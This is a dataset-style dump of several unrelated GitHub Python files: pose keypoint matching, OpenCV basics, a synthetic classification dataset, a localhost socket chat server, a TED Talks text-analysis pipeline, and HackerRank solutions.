coco_skeleton = ((1, 2), (0, 1), (0, 2), (2, 4), (1, 3), (6, 8), (8, 10), (5, 7), (7, 9), (12, 14), (14, 16), (11, 13), (13, 15), (5, 6), (11, 12))\n tmpimg = cv2.imread(img_path)\n oimg = vis_keypoints(tmpimg, openpose_from_dataset) #vis_keypoints_with_skeleton(tmpimg, openpose_from_dataset.T, coco_skeleton, kp_thresh=0.0)\n cv2.imshow('openpose', oimg/255)\n cv2.waitKey(0)\n # cv2.destroyAllWindows()\n # cv2.waitKey(1)\n # simg = vis_keypoints(tmpimg, smplpose_from_dataset) #vis_keypoints_with_skeleton(tmpimg, smplpose_from_dataset.T, coco_skeleton, kp_thresh=0.0)\n # cv2.imshow('smplpose', simg / 255)\n # cv2.waitKey(0)\n for idx in range(len(candidates)):\n pimg = vis_keypoints(tmpimg, candidates[idx]) #vis_keypoints_with_skeleton(tmpimg, candidates[idx].T, coco_skeleton, kp_thresh=0.0)\n cv2.imshow(f'crowdpose {idx}', pimg)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n cv2.waitKey(1)\n import pdb; pdb.set_trace()\n \"\"\"\n\n res = {}\n res['coco_joints'] = candidates[match_idx].tolist() # 17 x2\n res['img_id'] = img_id\n result[aid] = res\n\n print(\"Before filter: \", len(output_list), \" After filter: \", len(result))\n\n return result\n\n\ndef save_output(output):\n save_file_name = f'3DPW_test_hhrnet_result.json'\n print(\"Saving result to \", save_file_name)\n with open(save_file_name, 'w') as f:\n json.dump(output, f)\n\n\ndef bbox_iou(box1, box2):\n \"\"\"\n Returns the IoU of two bounding boxes\n\n\n \"\"\"\n # Get the coordinates of bounding boxes\n b1_x1, b1_y1, b1_x2, b1_y2 = box1[:, 0], box1[:, 1], box1[:, 2], box1[:, 3]\n b2_x1, b2_y1, b2_x2, b2_y2 = box2[:, 0], box2[:, 1], box2[:, 2], box2[:, 3]\n\n # get the corrdinates of the intersection rectangle\n inter_rect_x1 = torch.max(b1_x1, b2_x1)\n inter_rect_y1 = torch.max(b1_y1, b2_y1)\n inter_rect_x2 = torch.min(b1_x2, b2_x2)\n inter_rect_y2 = torch.min(b1_y2, b2_y2)\n\n # Intersection area\n device = box1.device\n inter_area = torch.max(inter_rect_x2 - inter_rect_x1 + 1, torch.zeros(inter_rect_x2.shape).to(device)) * torch.max(\n inter_rect_y2 - inter_rect_y1 + 1, torch.zeros(inter_rect_x2.shape).to(device))\n\n # Union Area\n b1_area = (b1_x2 - b1_x1 + 1) * (b1_y2 - b1_y1 + 1)\n b2_area = (b2_x2 - b2_x1 + 1) * (b2_y2 - b2_y1 + 1)\n\n iou = inter_area / (b1_area + b2_area - inter_area)\n\n return iou\n\ndef get_bbox(joint_img, joint_valid, extend_ratio=1.2):\n x_img, y_img = joint_img[:, 0], joint_img[:, 1]\n # x_img = x_img[joint_valid==1]; y_img = y_img[joint_valid==1];\n x_img = x_img[joint_valid > 0.01];\n y_img = y_img[joint_valid > 0.01];\n\n xmin = min(x_img);\n ymin = min(y_img);\n xmax = max(x_img);\n ymax = max(y_img);\n\n x_center = (xmin + xmax) / 2.;\n width = xmax - xmin;\n xmin = x_center - 0.5 * width * extend_ratio\n xmax = x_center + 0.5 * width * extend_ratio\n\n y_center = (ymin + ymax) / 2.;\n height = ymax - ymin;\n ymin = y_center - 0.5 * height * extend_ratio\n ymax = y_center + 0.5 * height * extend_ratio\n\n bbox = np.array([xmin, ymin, xmax - xmin, ymax - ymin]).astype(np.float32)\n return bbox\n\ndef transform_joint_to_other_db(src_joint, src_name, dst_name):\n src_joint_num = len(src_name)\n dst_joint_num = len(dst_name)\n\n new_joint = np.zeros(((dst_joint_num,) + src_joint.shape[1:]), dtype=np.float32)\n for src_idx in range(len(src_name)):\n name = src_name[src_idx]\n if name in dst_name:\n dst_idx = dst_name.index(name)\n new_joint[dst_idx] = src_joint[src_idx]\n\n return new_joint\n\n\ndef vis_keypoints_with_skeleton(img, kps, kps_lines, kp_thresh=0.4, alpha=1, kps_scores=None):\n # Convert from plt 0-1 RGBA colors to 0-255 BGR colors for opencv.\n cmap = plt.get_cmap('rainbow')\n colors = [cmap(i) for i in np.linspace(0, 1, len(kps_lines) + 2)]\n colors = [(c[2] * 255, c[1] * 255, c[0] * 255) for c in colors]\n\n # Perform the drawing on a copy of the image, to allow for blending.\n kp_mask = np.copy(img)\n\n # Draw the keypoints.\n for l in range(len(kps_lines)):\n i1 = kps_lines[l][0]\n i2 = kps_lines[l][1]\n p1 = kps[0, i1].astype(np.int32), kps[1, i1].astype(np.int32)\n p2 = kps[0, i2].astype(np.int32), kps[1, i2].astype(np.int32)\n if kps[2, i1] > kp_thresh and kps[2, i2] > kp_thresh:\n cv2.line(\n kp_mask, p1, p2,\n color=colors[l], thickness=2, lineType=cv2.LINE_AA)\n if kps[2, i1] > kp_thresh:\n cv2.circle(\n kp_mask, p1,\n radius=3, color=colors[l], thickness=-1, lineType=cv2.LINE_AA)\n if kps[2, i2] > kp_thresh:\n cv2.circle(\n kp_mask, p2,\n radius=3, color=colors[l], thickness=-1, lineType=cv2.LINE_AA)\n\n if kps_scores is not None:\n cv2.putText(kp_mask, str(kps_scores[i2, 0]), p2, cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255))\n\n # Blend the keypoints.\n return cv2.addWeighted(img, 1.0 - alpha, kp_mask, alpha, 0)\n\n\ndef vis_keypoints(img, kps, alpha=1):\n # Convert from plt 0-1 RGBA colors to 0-255 BGR colors for opencv.\n cmap = plt.get_cmap('rainbow')\n colors = [cmap(i) for i in np.linspace(0, 1, len(kps) + 2)]\n colors = [(c[2] * 255, c[1] * 255, c[0] * 255) for c in colors]\n\n # Perform the drawing on a copy of the image, to allow for blending.\n kp_mask = np.copy(img)\n\n # Draw the keypoints.\n for i in range(len(kps)):\n p = kps[i][0].astype(np.int32), kps[i][1].astype(np.int32)\n cv2.circle(kp_mask, p, radius=3, color=colors[i], thickness=-1, lineType=cv2.LINE_AA)\n cv2.putText(kp_mask, str(i), p, cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2)\n\n # Blend the keypoints.\n return cv2.addWeighted(img, 1.0 - alpha, kp_mask, alpha, 0)\n\n\nif __name__ == '__main__':\n testset_loader = PW3D(get_crowd=False)\n pose_matcher = PoseMatcher(testset_loader)\n pose_matcher.run()","repo_name":"hongsukchoi/3DCrowdNet_RELEASE","sub_path":"tool/match_3dpw_2dpose.py","file_name":"match_3dpw_2dpose.py","file_ext":"py","file_size_in_byte":14656,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"48"} +{"seq_id":"5760211220","text":"import cv2\nimport numpy as np\nimport sys\n\nimg = cv2.imread(\"starry_night.jpg\")\n\nif img is None:\n sys.exit(\"Could not read the image\")\n\n# print total number of elements\nprint('Image Size:', img.size)\nprint('Image Shape:', img.shape)\n\n# Display Image\ncv2.imshow(\"Image Starry Night\", img)\n\nkey = cv2.waitKey(0)\n\n# ord returns the ASCII/Unicode integer value of the input\nif (key == ord('s')):\n cv2.imwrite('starry_save.png', img)\n\narea_of_interest = img[10:131, 10:131]\n\n# replease section with area of interest\nimg[100:221, 100:221] = area_of_interest\n\nprint('Share of area of interest', area_of_interest.shape)\n\ncv2.imshow(\"Image Starry Night\", img)\nkey = cv2.waitKey(0)\n\ngray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# Display Image\ncv2.imshow(\"Gray Image\", gray_img)\nkey = cv2.waitKey(0)\n\nimport_gray_img = cv2.imread('starry_night.jpg', cv2.IMREAD_GRAYSCALE)\ncv2.imshow(\"Gray Image\", import_gray_img)\nkey = cv2.waitKey(0)\n\n","repo_name":"dmagill89/MTRE-6100","sub_path":"opencv_py/lecture4-d.py","file_name":"lecture4-d.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6345859116","text":"#Elabore um programa que tenha como entrada um vetor (cujos elementos são do tipo \n#real) e forneça como saída o menor elemento do vetor.\n\nA = []\n\nlength = int(input(\"Defina o tamanho da sua lista: \"))\n\nfor num in range(0, length):\n var = float(input(\"Insira números na lista: \"))\n A.append(var)\n\npequeno = min(A)\nprint(pequeno)\n","repo_name":"hd9s1lk/Python_Lab_2-S","sub_path":"GrupoVEx4.py","file_name":"GrupoVEx4.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22701726169","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author:\n# - Cecilia Damon\n# , \n# - Margaux Luck\n# , \n# Language: python2.7\n\n\nimport numpy as np\nnp.random.seed(1337) # make the results reproductible\nfrom math import floor\n\n\n'''\nSynthetic dataset for classification rules\n\nx = (x1, x2, x3, x4)\nx1, x2 ~ U[0, 1]\nx3 = {0, 1}\nx4 = {blue -1, white 0, red 1}\n\ny = 0, 1 ou 2\n\ny = 0 <= r01 = {x4: red, x3: 1};\n r02 = {x4: red, x3: 0, x2 <= 0.5};\n r03 = {x4: blue or white, x1 >= 0.7, x3: 0, x2 > 0.2};\n r04 = {x4: white, x1: ]0.5, 0.7[}\n\ny = 1 <= r11 = {x4: red, x3: 0, x2 > 0.5};\n r12 = {x4: blue ou white, x1 >= 0.7, x3: 0, x2 <= 0.2};\n r13 = {x4: white, x1 <= 0.5}\n\ny = 2 <= r21 = {x4: blue ou white, x1 >= 0.7, x3: 1}\n\n [x4-red]\n | |\n [x1>=0.7] [x3=0]\n | | | |\n [x1-blue] [x3=1] [y=0] [x2<=0.5]\n | | | | | |\n [x1<=0.5] [y=2] [x2<=2][y=2] [y=1] [y=0]\n | | | |\n [y=0] [y=1] [y=0][y=1]\n '''\n\n\nclass DecisionTreeSamples():\n\n def __init__(self, n, e=None):\n '''\n Initialize the synthetic dataset (X, y) based on the synthetic decision\n tree.\n\n Parameters:\n - n: number of samples to generate\n - e: noisy or impurity degree to integrate in the rules under the form\n of classification error expressed in percentage, None by default.\n The same or a different amount of noise can be introduced for each\n rule:\n *To introduce different amount of noise for each rule, e must be\n as a dictionary with {'r01': e1, 'r02': e2, 'r03': e3, 'r04': e04,\n 'r11': e11, 'r12': e12, 'r13': e13, 'r21': e21} where 'r01', 'r02',\n etc. correspond to the name of the rules (see above) and e1, e2, etc.\n the noise specific to each one of these rules.\n *To introfuce the same amount of noise, e must be a int or a float.\n\n '''\n # Generate synthetic dataset (X, y)\n X = np.zeros((n, 4))\n X[:, 0] = np.random.uniform(0, 1, n)\n X[:, 1] = np.random.uniform(0, 1, n)\n X[:, 2] = np.random.randint(0, 2, n)\n X[:, 3] = np.random.randint(-1, 2, n)\n\n # Replace y values by the labels {0, 1, 2} according to the rules.\n y = np.zeros(n)\n indr13 = np.where(np.logical_and(X[:, 3] == 0, X[:, 0] <= 0.5))[0]\n indr11 = np.where(np.logical_and.reduce((\n X[:, 3] == 1, X[:, 2] == 0, X[:, 1] > 0.5)))[0]\n indr12 = np.where(np.logical_and.reduce((\n np.in1d(X[:, 3], [-1, 0]),\n X[:, 2] == 0, X[:, 1] <= 0.2, X[:, 0] >= 0.7)))[0]\n indr21 = np.where(np.logical_and.reduce((\n np.in1d(X[:, 3], [-1, 0]),\n X[:, 2] == 1, X[:, 0] >= 0.7)))[0]\n indr01 = np.where(np.logical_and(X[:, 3] == 1, X[:, 2] == 1))[0]\n indr02 = np.where(np.logical_and.reduce((\n X[:, 3] == 1, X[:, 2] == 0, X[:, 1] <= 0.5)))[0]\n indr03 = np.where(np.logical_and.reduce((\n np.in1d(X[:, 3], [-1, 0]), X[:, 2] == 0,\n X[:, 1] > 0.2, X[:, 0] >= 0.7)))[0]\n indr04 = np.where(np.logical_and.reduce((\n X[:, 3] == 0, X[:, 0] < 0.7, X[:, 0] > 0.5)))[0]\n y[indr13] = 1\n y[indr11] = 1\n y[indr12] = 1\n y[indr21] = 2\n\n if e is not None:\n\n # Introduce some noise in the rules\n if isinstance(e, (int, float)):\n r01 = r02 = r03 = r04 = r11 = r12 = r13 = r21 = e\n\n else:\n r01 = e['r01']\n r02 = e['r02']\n r03 = e['r03']\n r04 = e['r04']\n r11 = e['r11']\n r12 = e['r12']\n r13 = e['r13']\n r21 = e['r21']\n\n y[indr01[np.random.randint(\n 0, len(indr01), int(floor(len(indr01)*r01/100.)))]] =\\\n np.random.choice([1, 2], int(floor(len(indr01)*r01/100.)))\n y[indr02[np.random.randint(\n 0, len(indr02), int(floor(len(indr02)*r02/100.)))]] =\\\n np.random.choice([1, 2], int(floor(len(indr02)*r02/100.)))\n y[indr03[np.random.randint(\n 0, len(indr03), int(floor(len(indr03)*r03/100.)))]] =\\\n np.random.choice([1, 2], int(floor(len(indr03)*r03/100.)))\n y[indr04[np.random.randint(\n 0, len(indr04), int(floor(len(indr04)*r04/100.)))]] =\\\n np.random.choice([1, 2], int(floor(len(indr04)*r04/100.)))\n y[indr13[np.random.randint(\n 0, len(indr13), int(floor(len(indr13)*r13/100.)))]] =\\\n np.random.choice([0, 2], int(floor(len(indr13)*r13/100.)))\n y[indr11[np.random.randint(\n 0, len(indr11), int(floor(len(indr11)*r11/100.)))]] =\\\n np.random.choice([0, 2], int(floor(len(indr11)*r11/100.)))\n y[indr12[np.random.randint(\n 0, len(indr12), int(floor(len(indr12)*r12/100.)))]] =\\\n np.random.choice([0, 2], int(floor(len(indr12)*r12/100.)))\n y[indr21[np.random.randint(\n 0, len(indr21), int(floor(len(indr21)*r21/100.)))]] =\\\n np.random.choice([0, 1], int(floor(len(indr21)*r21/100.)))\n\n self.X = X\n self.y = y\n","repo_name":"Museau/Rule-Mining","sub_path":"rule_mining/rm/datasets/synthetic_dataset.py","file_name":"synthetic_dataset.py","file_ext":"py","file_size_in_byte":5652,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"24394416884","text":"import socket\nimport threading\nimport argparse\n\n# Port you want to join on\narg = argparse.ArgumentParser()\narg.add_argument('port', type=int)\nallArg = arg.parse_args()\nport = allArg.port\n\n# Setting up socket\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.bind((\"localhost\", port))\nserver_socket.listen()\n\nclients = []\nbots = ['ellen', 'ola', 'steffen', 'ingrid']\n\n# Broadcast message to all clients\ndef toAllClients(message):\n for client in clients:\n client.send(message)\n\ndef accept():\n while True:\n # Accept Connection\n client, address = server_socket.accept()\n\n client.send('xx'.encode('utf-8'))\n\n # Printed to server which address the server is connected to client\n print(f\"Connected with client on {str(address)}\")\n\n #Recieve the name of the person joined the chat and print to server\n nickname = client.recv(1024).decode('utf-8')\n if nickname in bots:\n print(f'Chatbot {nickname} joined')\n else:\n print(f'{nickname} joined')\n\n # adding client to clients-list\n clients.append(client)\n\n #Send to all client who joined\n if nickname in bots:\n toAllClients((f'Chatbot {nickname} joined chat, and are ready to mingle').encode('utf-8'))\n else:\n toAllClients((f'{nickname} joined chat').encode('utf-8'))\n\n # Starting thread\n thread = threading.Thread(target=fromClientToClients, args=(client,))\n thread.start()\n\n#Sends the messages recieved from a client, out to all clients\ndef fromClientToClients(client):\n while True:\n message = client.recv(1024)\n print(message.decode('utf-8'))\n toAllClients(message)\n\nprint('Server is ready...')\naccept()","repo_name":"LarsStorholt/IndividualPortofolioAssignment1","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74329257425","text":"import numpy as np\nimport pandas as pd\nimport math\nimport pickle\nimport string\nimport unicodedata\nfrom collections import Counter\n\nimport contractions\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.stem.porter import *\nfrom sklearn.feature_extraction import text\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom textblob import TextBlob\nimport streamlit as st\n\n#################################\ndef replace_contractions(text):\n \"\"\"Replace contractions in string of text\"\"\"\n return contractions.fix(text)\n\n# Apply a first round of text cleaning techniques\ndef clean_text_round1(text):\n '''Make text lowercase, remove text in parentheses, remove punctuation and remove words containing numbers.'''\n text = text.lower()\n #inserted a contractions expander\n text = contractions.fix(text)\n text = re.sub('\\[.*?\\]', '', text)\n # further text standardizers, taken from Eman's code\n text = re.sub('@\\S+', '', text)\n text = re.sub(\"@\", \"at\", text)\n text = re.sub('(Chris Anderson:)', '', text)\n # text = re.sub('\\b(\\(applause\\)|\\(laughter\\))\\b', '', text)\n text = re.sub('(\\(applause\\))', '', text)\n text = re.sub('(\\(laughter\\))', '', text)\n\n # remove extra whitespace\n text = re.sub(' +', ' ', text)\n # remove extra newlines\n text = re.sub(r'[\\r|\\n|\\r\\n]+', ' ',text)\n\n# text = text.apply(lambda x: word_lemmatizer(x))\n\n #Jay's attempts to remove everything w/ parentheses\n# text = re.sub('\\(.*?\\)', '', text)\n# text = re.sub('\\([^)]*\\)', '', text)\n# text = re.sub(r'\\([^()]*\\)', '', text)\n # from DJ's code\n def remove_accented_chars(text):\n text = unicodedata.normalize('NFKD', text).encode('ascii', 'ignore').decode('utf-8', 'ignore')\n return text\n\n remove_accented_chars(text)\n text = unicodedata.normalize('NFKD', text).encode('ascii', 'ignore').decode('utf-8', 'ignore')\n text = re.sub('[%s]' % re.escape(string.punctuation), '', str(text))\n text = re.sub('\\w*\\d\\w*', '', text)\n return text\n\n# Apply a second round of cleaning\ndef clean_text_round2(text):\n '''Get rid of some additional punctuation and non-sensical text that was missed the first time around.'''\n text = re.sub('[‘’“”—…]', '', text)\n text = re.sub('\\n', '', text)\n return text\n\n# Lemmatizing Function\ndef lemmadata(doc):\n wordnet_lemmatizer = WordNetLemmatizer()\n english = set(nltk.corpus.words.words())\n pattern = \"([a-zA-Z]+(?:'[a-z]+)?)\"\n raw_tokens = nltk.regexp_tokenize(doc, pattern)\n tokens = [i.lower() for i in raw_tokens]\n stop_words = set(stopwords.words('english'))\n listed = [w for w in tokens if not w in stop_words]\n lemmatized = [wordnet_lemmatizer.lemmatize(word, pos=\"v\") for word in listed]\n words = list(filter(lambda w: w in english, lemmatized))\n return \" \".join(words)\n\n\ndef split_text(text, n=10):\n '''Takes in a string of text and splits into n equal parts, with a default of 10 equal parts.'''\n\n # Calculate length of text, the size of each chunk of text and the starting points of each chunk of text\n length = len(text)\n size = math.floor(length / n)\n start = np.arange(0, length, size)\n\n # Pull out equally sized pieces of text and put it into a list\n split_list = []\n for piece in range(n):\n split_list.append(text[start[piece]:start[piece] + size])\n return split_list\n\n###################################################\nnp.random.seed(0)\n\n# Retrieve File (Un-pickle)\nfilename = 'raw1'\ninfile = open(filename,'rb')\ndf = pickle.load(infile)\ninfile.close()\n\nst.title('TEDTalks Project Dataframe')\n\n# create new column with character-length of each speech\ndf['speech_length'] = df['text'].apply(len)\n# create new column to flag whether speech is over or under 1M views\ndf['reached_threshold'] = np.where(df['views']>=1250000, 1, 0)\n# create new column to flag whether tags column contains (any of my) preferred list of tags\n# social change, society, global issues, humanity, community, future\ndf['prefers'] = np.where(df['tags'].str.contains('global')|df['tags'].str.contains('soci')|df['tags'].str.contains('nity')\n |df['tags'].str.contains('activism')|df['tags'].str.contains('future')|df['tags'].str.contains('health'), 1, 0)\n# concatenate text from several columns to include it in speech text\ncols = ['headline', 'tags', 'description', 'text']\ndf['text'] = df[cols].apply(lambda x: ' '.join(x), axis = 1)\n\n# drop any rows in which 'tags' column contains these words\nto_drop = ['performance', 'music', 'magic']\nnomusic_df = df[~df['tags'].str.contains('|'.join(to_drop))]\n# Missed one: Delete row with index/Talk_ID of 1464\nnomusic_df = nomusic_df.drop(1464)\n# Check tags- Before\n# print(nomusic_df.prefers.value_counts())\n\npre_expl_df = nomusic_df.reset_index()\n# (1) We start with creating a new dataframe from the series with Talk_Id as the index\nexploding_df = pd.DataFrame(pre_expl_df.tags.str.split(',').tolist(), index=pre_expl_df.Talk_ID).stack()\n# (2) We now want to get rid of the secondary index. To do this, we will make EmployeeId\n# as a column (it can't be an index since the values will be duplicate)\nexploded_df = exploding_df.reset_index([0, 'Talk_ID'])\n# (3) The final step is to set the column names as we want them\nexploded_df.columns = ['Talk_ID', 'tag']\n\n# merge original dataframe with this new one\ndf = pd.merge(df, exploded_df, on='Talk_ID')\n\n# Create quick lambda functions to find the polarity and subjectivity of each routine\npol = lambda x: TextBlob(x).sentiment.polarity\nsub = lambda x: TextBlob(x).sentiment.subjectivity\ndf['polarity'] = df['text'].apply(pol)\ndf['subjectivity'] = df['text'].apply(sub)\n\n\n\n# Check tags- After\n### ALL TAGS ###\n#st.write(df['tag'].value_counts(ascending=True))\n#print(df['tag'].value_counts())\n# stbar = pd.DataFrame()\n# for tag in df.tag.unique():\n# stbar['tag'] = tag\n# stbar['count'] = df.tag.count()\n# st.bar_chart(stbar)\n\n# option = st.selectbox(\n# 'Which tag?',\n# st_df['tag'].unique())\n# st.write('You selected: ', option)\n\n# compress df to remove duplicate rows (created from exploding 'tags'), leaving only unique Talk_ID\nde_exploded_df = df.drop_duplicates('Talk_ID')\ndf = de_exploded_df\nst_df = df[['headline', 'description', 'event', 'duration', 'published',\n 'speaker_1','speaker1_occupation', 'speaker1_introduction', 'speaker1_profile',\n 'polarity','subjectivity', 'speech_length','prefers','tags']]\n\nst.write(pd.DataFrame(st_df))\n\n# Let's take a look at the updated text\ndf.text = df.text.apply(replace_contractions)\nround1 = lambda x: clean_text_round1(x)\ndf.text = pd.DataFrame(df.text.apply(round1))\nround2 = lambda x: clean_text_round2(x)\ndf.text = pd.DataFrame(df.text.apply(round2))\ndata_clean = df\n\n# LEMMATIZE\n# wordnet_lemmatizer = WordNetLemmatizer() moved to functions (for lemmadata)\nenglish = set(nltk.corpus.words.words())\ndata_clean['text'] = data_clean['text'].apply(lambda x: lemmadata(x))\n\n# We are going to create a document-term matrix using CountVectorizer, and exclude common English stop words\ncv = CountVectorizer(stop_words='english')\ndata_cv = cv.fit_transform(data_clean.text)\ndata_dtm = pd.DataFrame(data_cv.toarray(), columns=cv.get_feature_names())\ndata_dtm.index = data_clean.index\ndata_dtm = data_dtm.transpose()\n# Find the top 30 words said in each speech\ntop_dict = {}\nfor c in data_dtm.columns:\n top = data_dtm[c].sort_values(ascending=False).head(30)\n top_dict[c]= list(zip(top.index, top.values))\n\n# Let's first pull out the top 30 words for each speech\nwords = []\nfor speech_num in data_dtm.columns:\n top = [word for (word, count) in top_dict[speech_num]]\n for t in top:\n words.append(t)\n# Let's aggregate this list and identify the most common words along with how many routines they occur in\nj_stop_words = ['I', 'aa', 'aaa', 'aaaa', 'aaaaa', 'aaaaaah', 'aaaaaahaaaah',\n 'aaaah', 'aaaahhh', 'aaah', 'aag', 'aah', 'aak', 'aakash',\n 'aaleh', 'aarhus', 'aaron', 'aaronson', 'aaronsons', 'aarp',\n 'aat', 'aatcagggaccc', 'ab', 'ababa', 'abacha', 'aback', 'abaco',\n 'actually', 'applause', 'chris', 'come', 'did', 'different', 'dont',\n 'ea', 'going', 'gonna', 'got', 'great', 'ha', 'honor', 'i', 'im',\n 'is', 'just', 'kind', 'know', 'laughter', 'life', 'like', 'little',\n 'lot', 'make', 'people', 'really', 'right', 'said', 'say', 'stage',\n 'thank', 'thats', 'thing', 'think', 'time', 'truly', 'u', 'uaa', 'wa',\n 'want', 'way', 'work', 'world', 'yeah', 'youre', 'zora',\n 'zoroastrian', 'zosia', 'zq', 'zuccotti', 'zuckerberg', 'zuckerbergs',\n 'zuckerman', 'zullinger', 'zune', 'zurich', 'zuzana', 'zweig',\n 'zworkykins', 'zworykin', 'zygmunt', 'zygomatic', 'zygote', 'zywiecwa']\nj_stop_words = sorted(list(set(j_stop_words)))\n# If more than 400 of the speeches have it as a top word, exclude it from the list\nadd_stop_words = [word for word, count in Counter(words).most_common() if count >= 400]\nadd_stop_words.extend(j_stop_words)\n# Add new stop words\nstop_words = text.ENGLISH_STOP_WORDS.union(add_stop_words)\n\n# Recreate document-term matrix\ncv = CountVectorizer(stop_words=stop_words)\ndata_cv = cv.fit_transform(data_clean.text)\ndata_stop = pd.DataFrame(data_cv.toarray(), columns=cv.get_feature_names())\ndata_stop.index = data_clean.index\n\n# Leave Pre-processing, Enter Sentiment Analysis\n# To re-align shape (filtering out stopwords)\nfor sw in add_stop_words:\n if sw in data_dtm.columns:\n data_dtm.drop([sw], axis=1, inplace=True)\n\n# Let's create a list to hold all of the pieces of text\nlist_pieces = []\nfor t in data_clean.text:\n split = split_text(t)\n list_pieces.append(split)\n# Each transcript has been split into 10 pieces of text- calculate the polarity for each\npolarity_transcript = []\nfor lp in list_pieces:\n polarity_piece = []\n for p in lp:\n polarity_piece.append(TextBlob(p).sentiment.polarity)\n polarity_transcript.append(polarity_piece)\n\n\n# Save & Store Files (Pickle)\nfilename = \"final_clean.pkl\"\noutfile = open(filename, 'wb')\npickle.dump(data_clean, outfile)\noutfile.close()\nfilename = \"polarity_transcript.pkl\"\noutfile = open(filename, 'wb')\npickle.dump(polarity_transcript, outfile)\noutfile.close()","repo_name":"jkarma0920/TEDTalksProject","sub_path":"Sandbox/TedTalksProject_Main.py","file_name":"TedTalksProject_Main.py","file_ext":"py","file_size_in_byte":10414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"30614958415","text":"# QUESTION URL: https://www.hackerrank.com/challenges/py-set-intersection-operation/problem\n# STATUS: Accepted\n\nn = input()\nroll_n = set(input().split(' '))\nb = input()\nroll_b = set(input().split(' '))\n\nprint(len(roll_b.intersection(roll_n)))\n\n","repo_name":"Yash2003Bisht/ProblemSolutions","sub_path":"solutions/hackerrank/Set__intersection___Operation/Set__intersection___Operation_1.py","file_name":"Set__intersection___Operation_1.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"12396726216","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import deque\n# Complete the balancedForest function below.\n# Step 1: Create adjacency table\nclass Node:\n def __init__(self, value, nid):\n self.val = value\n self.children = []\n self.cost = value\n self.nid = nid\n \ndef constructTree(v, e):\n l_v = len(v)\n \n tbl = {i:[] for i in range(l_v)}\n discovered = [None for i in range(l_v)] # 0-based\n\n for src, des in e:\n src -= 1 # 1-base -> 0-base\n des -= 1 # 1-base -> 0-base\n tbl[src].append(des)\n tbl[des].append(src)\n\n # Step 2: Initialize root node\n discovered[0] = Node(v[0], 0)\n stack = deque([(False, 0)]) # (type, id_zerob)\n\n # Step 3: Traversal and create root cost\n while stack:\n flag_agg, curr_id = stack.pop()\n if flag_agg:\n # At this moment, all child node's cost are already\n # computed, so just sum them up.\n # Leaf node will keep the cost unchanged.\n pnode = discovered[curr_id]\n for cnode in pnode.children:\n pnode.cost += cnode.cost\n else:\n # Append aggregate flag\n stack.append((True, curr_id))\n # Append available childrens\n for adj_id in tbl[curr_id]:\n if discovered[adj_id] is None:\n tmp_newnode = discovered[adj_id] = Node(v[adj_id], adj_id)\n discovered[curr_id].children.append(tmp_newnode)\n stack.append((False, adj_id))\n # Return root node\n return discovered[0]\n\n_MAX_COST = 5 * (10 ** 13) + 1\ndef aux_traversal(root, size):\n best = _MAX_COST\n stack = deque([root])\n path_table = [False for _ in range(size)]\n path_table[0] = True\n\n # Two types of data will occur in the stack:\n # | Node => Do general traversal and label path\n # | int => Means we're leaving this node, and\n # remove it from label path\n while stack:\n cur_node = stack.pop()\n if type(cur_node) == int:\n path_table[cur_node] = False\n else:\n path_table[cur_node.nid] = True\n stack.append(cur_node.nid) # Insert exit flag\n for chd_node in cur_node.children:\n target_root = root.cost - chd_node.cost\n target_split = chd_node.cost\n # Corresponds to cases (3), (1), (2) in description above\n res_equal = target_root if target_root == target_split else _MAX_COST\n res_root = best_split(root, target_split, chd_node.nid, path_table)\n res_split = best_split(chd_node, target_root)\n best = min(best, res_equal, res_root, res_split)\n if best == 0:\n return 0\n stack.append(chd_node)\n return best if best < _MAX_COST else -1\n\ndef best_split(root, target, exclude=None, path=None):\n # root: Root node of the tree to be traversed\n # target: Target cost\n # exclude: Node ID of excluded subtree's root node\n # path: Table for traversed path. Used to deduct cost of\n # excluded sub-tree\n\n # Total cost of current tree\n\n whole_cost = root.cost - (target if exclude is not None else 0)\n\n # (1) If current tree's cost is more than two times of target\n # cost, then you need to insert negative value in order to\n # balance them, which is not valid for our task.\n # (2) If current tree's cost is less than target, then you'll\n # need at least two nodes to balance any cut. (Think of the\n # case where you insert a node with cost as target, then\n # separate it and leave the original tree along. You'll \n # still need another node to balance this tree.)\n # (3) Also, we've already talked about tie case in\n # aux_traversal() so we skip it as well.\n\n if whole_cost > target * 2 or whole_cost <= target:\n return _MAX_COST\n\n best = _MAX_COST\n stack = deque([root])\n\n while stack:\n cur_node = stack.pop()\n for chd_node in cur_node.children:\n if chd_node.nid != exclude:\n sub_cost = chd_node.cost - (target if path and path[chd_node.nid] else 0)\n root_cost = whole_cost - sub_cost\n # If we can find an even split, then do early exit\n if root_cost == sub_cost == target:\n return 0\n # Otherwise, find out if one of them is balanced\n elif root_cost == target and sub_cost < target:\n best = min(best, target - sub_cost)\n elif sub_cost == target and root_cost < target:\n best = min(best, target - root_cost)\n # TODO: Any other possible PRUNING strategy?\n stack.append(chd_node)\n return best\n\ndef balancedForest(tree_values, tree_edges):\n t = constructTree(tree_values, tree_edges)\n return aux_traversal(t, len(tree_values))\n \nif __name__ == '__main__':\n c = [1, 2, 2, 1, 1]\n\n edges = [[1, 2], [1, 3], [3, 5], [1, 4]]\n\n result = balancedForest(c, edges)\n\n 